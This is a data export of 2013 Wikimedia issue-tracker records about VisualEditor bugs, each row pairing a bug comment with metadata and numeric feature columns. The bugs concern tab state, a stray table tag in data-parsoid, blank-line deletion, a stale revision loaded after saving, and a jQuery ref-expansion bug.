214010,"VisualEditor: ""Edit source"" tab doesn't become 'active'",Now merged and will go live with wmf4.,,,1367602843,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,1.0,Now merged and will go live with wmf4.
214004,"VisualEditor: ""Edit source"" tab doesn't become 'active'",Related URL: https://gerrit.wikimedia.org/r/62145 (Gerrit Change Ic2d42bb3034be25f388b587a00c3f523cfcc163c),,,1367583532,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic2d42bb3034be25f388b587a00c3f523cfcc163c)
213996,"VisualEditor: ""Edit source"" tab doesn't become 'active'","Pretty sure I made this work a couple of weeks ago, but it might have been broken by the more recent changes to this code.",,,1366998791,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,19.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.6296296296296298,0.9629629629629629,"Pretty sure I made this work a couple of weeks ago, but it might have been broken by the more recent changes to this code."
49430,VisualEditor: data-parsoid attribute sometimes not preserved properly,"a </table> tag is sometimes inserted into data-parsoid when set on a table element, for example in the 'Infobox settlement' at http://en.wikipedia.org/wiki/Beale_Township,_Juniata_County,_Pennsylvania.

Original data-parsoid (part of):
Beale Township,<br/>Pennsylvania\n

VE output (editedHtml):
Beale Township,<br></table>Pennsylvania\n

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366407120,1366992022.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-coiafysv5fwnb2coli72,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,16.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,4.0,4.428571428571429,0.6857142857142857,"a </table> tag is sometimes inserted into data-parsoid when set on a table element, for example in the 'Infobox settlement' at URL

Original data-parsoid (part of):
Beale Township,<br/>Pennsylvania\n

VE output (editedHtml):
Beale Township,<br></table>Pennsylvania\n

--------------------------
**Version**: unspecified
**Severity**: normal"
212689,VisualEditor: data-parsoid attribute sometimes not preserved properly,"

*** This bug has been marked as a duplicate of bug 47417 ***",,,1366992022,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-coiafysv5fwnb2coli72,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 47417 ***"
49424,VisualEditor: Deleting to/from a blank lines fails,"If you have lines like so:

| A
| B
| 
| C

Deleting backwards from up-page of C, or from within the blank line above C, causes the cursor to move (as expected) but no deletion.

Deleting forwards from down-page of B, of from within the blank line below B, causes the cursor to stay (as expected) but no deletion.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366397400,1371781860.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-na7hdsgn5rcikyp6dgpv,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,16.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.3,0.49,"If you have lines like so:

| A
| B
| 
| C

Deleting backwards from up-page of C, or from within the blank line above C, causes the cursor to move (as expected) but no deletion.

Deleting forwards from down-page of B, of from within the blank line below B, causes the cursor to stay (as expected) but no deletion.

--------------------------
**Version**: unspecified
**Severity**: normal"
212423,VisualEditor: Deleting to/from a blank lines fails,This is now fixed with the deletion re-write.,,,1371781860,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-na7hdsgn5rcikyp6dgpv,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,This is now fixed with the deletion re-write.
49420,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"(a) open a page in VE and edit it
(b) save in VE 
(c) reopen the same page right away in VE

The previous version (rather than saved version) is fetched.  I looked at POST params in chrome and looks like revision id (oldid) being sent is of the older version rather than the saved version.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1366393860,1373061639.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-l3samzhuiftku6aijqqt,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,9.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,10.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,3.3846153846153846,0.5824175824175825,"(a) open a page in VE and edit it
(b) save in VE 
(c) reopen the same page right away in VE

The previous version (rather than saved version) is fetched.  I looked at POST params in chrome and looks like revision id (oldid) being sent is of the older version rather than the saved version.

--------------------------
**Version**: unspecified
**Severity**: normal"
212268,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"(In reply to comment #11)
> That is bug 50441.

Yes; sorry! :-)",,,1373061922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.625,1.0,"(In reply to comment #11)
QUOTE

Yes; sorry! :-)"
212260,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,That is bug 50441.,,,1373061758,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,That is bug 50441.
212253,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,Re-closing; new breakage is being tracked as bug 47420.,,,1373061639,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,15.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6153846153846154,1.0,Re-closing; new breakage is being tracked as bug 47420.
212248,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"This bug was closed as fixed on May 3 but I am still seeing this behavior on mediawiki.org. The second edit after saving loads the previous version of the page, not the current version. A warning ""You are editing an out-of-date revision of this page"" appears, but that doesn't help.",,,1373015887,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,2.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,13.0,2.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,2.0,3.7580645161290325,0.7741935483870968,"This bug was closed as fixed on May 3 but I am still seeing this behavior on mediawiki.org. The second edit after saving loads the previous version of the page, not the current version. A warning ""You are editing an out-of-date revision of this page"" appears, but that doesn't help."
212243,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,*** Bug 48021 has been marked as a duplicate of this bug. ***,,,1367614853,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48021 has been marked as a duplicate of this bug. ***
212237,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,*** Bug 47682 has been marked as a duplicate of this bug. ***,,,1367614840,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47682 has been marked as a duplicate of this bug. ***
212231,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,Now merged and will go into wmf4.,,,1367602814,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Now merged and will go into wmf4.
212227,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,Related URL: https://gerrit.wikimedia.org/r/62168 (Gerrit Change I12ce27c8dc57f7aa753bcf5840635d5fea6b4e80),,,1367601065,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I12ce27c8dc57f7aa753bcf5840635d5fea6b4e80)
212221,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"(In reply to comment #3)
> The JSON we get back after a save only contains the plain html and some
> timestamps. In order for us to update this.oldid we'll need Parsoid to tell
> us what it is, I think.

Parsoid doesn't know; it's VisualEditor.php which does the actual saving to the DB.",,,1367595038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,9.0,12.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.46875,0.78125,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

Parsoid doesn't know; it's VisualEditor.php which does the actual saving to the DB."
212215,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"The JSON we get back after a save only contains the plain html and some timestamps. In order for us to update this.oldid we'll need Parsoid to tell us what it is, I think.",,,1367578702,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,True,,,-9,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,13.0,0.0,5.0,13.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,16.0,13.0,3.0,0.0,0.0,0.0,16.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.8947368421052632,"The JSON we get back after a save only contains the plain html and some timestamps. In order for us to update this.oldid we'll need Parsoid to tell us what it is, I think."
212208,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,This is because we don't update this.oldid after saving.,,,1366998865,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.363636363636363,1.0,This is because we don't update this.oldid after saving.
212202,VisualEditor: Reopening page in VE immediately after saving page in VE loads old version,"Feels like we need to properly review how the integration around oldids works, given the number of issues. :-(",,,1366395770,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l3samzhuiftku6aijqqt,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.380952380952381,0.9523809523809523,"Feels like we need to properly review how the integration around oldids works, given the number of issues. :-("
49417,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","See https://en.wikipedia.org/w/index.php?title=User:Fluffernutter/Kinne&diff=551148728&oldid=551148307

To investigate.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1366387680,1366992579.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.5833333333333334,"See URL

To investigate.

--------------------------
**Version**: unspecified
**Severity**: major"
212075,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>",This is an instance of the jQuery bug 47737 - marking as FIXED (in the specific instance) but we need a wider fix.,,,1366992579,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,8.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,3.5384615384615383,0.9230769230769231,This is an instance of the jQuery bug 47737 - marking as FIXED (in the specific instance) but we need a wider fix.
212071,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>",*** Bug 47430 has been marked as a duplicate of this bug. ***,,,1366992022,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47430 has been marked as a duplicate of this bug. ***
212066,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","(In reply to comment #7)
> (In reply to comment #6)
> > This is a bug in jQuery. To reproduce:
> 
> That confirms my suspicion. The bug appeared first after you started using it
> to avoid dropping figure elements.
Yup, which is why we can't just go back, because that would break <caption> elements again.

Filed upstream as http://bugs.jquery.com/ticket/13821",,,1366906990,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,9.0,11.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,3.1956521739130435,0.782608695652174,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Yup, which is why we can't just go back, because that would break <caption> elements again.

Filed upstream as URL"
